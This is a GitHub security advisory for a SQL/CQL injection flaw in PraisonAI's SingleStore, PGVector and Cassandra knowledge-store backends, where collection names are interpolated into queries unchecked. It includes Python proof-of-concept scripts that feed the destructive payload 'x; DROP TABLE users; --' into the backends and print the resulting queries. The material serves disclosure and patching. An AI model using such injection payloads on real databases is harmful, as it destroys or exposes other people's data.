Skip to content

PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries

Moderate severity GitHub Reviewed Published May 3, 2026 in MervinPraison/PraisonAI

Package

pip PraisonAI (pip)

Affected versions

>= 2.4.1, <= 4.6.33

Patched versions

4.6.34

Description

Summary

PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.

Details

This issue affects the public persistence layer exported by persistence/init.py, which exposes KnowledgeStore and create_knowledge_store(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):

The common root cause is that the KnowledgeStore interface accepts free-form collection names in create_collection(), delete_collection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.

Representative sinks:

  • SingleStoreVectorKnowledgeStore builds table_name = f"{self.table_prefix}{name}" and executes raw DDL in [persistence/knowledge/singlestore_vector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for delete_collection, insert, upsert, search, get, delete, and count.
  • PGVectorKnowledgeStore builds public.praison_vec_{collection} and idx_{name}_embedding directly into SQL in [persistence/knowledge/pgvector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82).
  • CassandraKnowledgeStore interpolates name and collection directly into CREATE TABLE, DROP TABLE, INSERT, SELECT, DELETE, and COUNT statements in [persistence/knowledge/cassandra.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).

There is already an internal identifier validator in the conversation persistence layer:

  • validate_identifier() only allows alphanumeric characters and underscores in [persistence/conversation/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)

That validator is used for SQL identifiers such as table_prefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.

Version scope:

  • pgvector.py and cassandra.py were already present by v2.4.1
  • singlestore_vector.py was present by v2.4.3
  • the current PyPI release on May 1, 2026 is 4.6.33, and the same interpolation patterns are still present

Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.

PoC

The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.

  1. Reproduce the SingleStoreVectorKnowledgeStore.delete_collection() query construction:
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)

store = ss.SingleStoreVectorKnowledgeStore()
store._initialized = True
store._conn = FakeConn()
store.delete_collection("x; DROP TABLE users; --")
print(store._conn.calls[-1][0].strip())
PY

Observed result:

DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --
  1. Reproduce the PGVectorKnowledgeStore.create_collection() query construction:
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types

base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")

mods = {
    "praisonai": types.ModuleType("praisonai"),
    "praisonai.persistence": types.ModuleType("praisonai.persistence"),
    "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
    v.__path__ = []
    sys.modules[k] = v

def load(name, path):
    spec = importlib.util.spec_from_file_location(name, path)
    mod = importlib.util.module_from_spec(spec)
    sys.modules[name] = mod
    spec.loader.exec_module(mod)
    return mod

load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")

psycopg2 = types.ModuleType("psycopg2")
extras = types.ModuleType("psycopg2.extras")
pool = types.ModuleType("psycopg2.pool")
class DummyPool:
    def __init__(self, *a, **k): pass
    def getconn(self): return None
    def putconn(self, c): pass
pool.ThreadedConnectionPool = DummyPool
extras.RealDictCursor = object
psycopg2.pool = pool
sys.modules["psycopg2"] = psycopg2
sys.modules["psycopg2.pool"] = pool
sys.modules["psycopg2.extras"] = extras

pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")

class FakeCursor:
    def __init__(self, parent): self.parent = parent
    def execute(self, query, params=None): self.parent.calls.append((query, params))
    def __enter__(self): return self
    def __exit__(self, *args): return False

class FakeConn:
    def __init__(self): self.calls = []
    def cursor(self): return FakeCursor(self)
    def commit(self): pass

store = pg.PGVectorKnowledgeStore(auto_create_extension=False)
conn = FakeConn()
store._get_conn = lambda: conn
store._put_conn = lambda c: None
store.create_collection("x; DROP TABLE users; --", 3)
for query, _ in conn.calls:
    print(query.strip())
PY

Observed result includes:

CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (
CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding

The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.

Impact

This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.

Potential impact depends on backend and driver behavior, but includes:

  • malformed queries and backend errors
  • access to unintended tables or indexes
  • execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape

I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI May 3, 2026
Published by the National Vulnerability Database May 8, 2026
Published to the GitHub Advisory Database May 11, 2026
Reviewed May 11, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

CVE-2026-44337

GHSA ID

GHSA-3643-7v76-5cj2

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.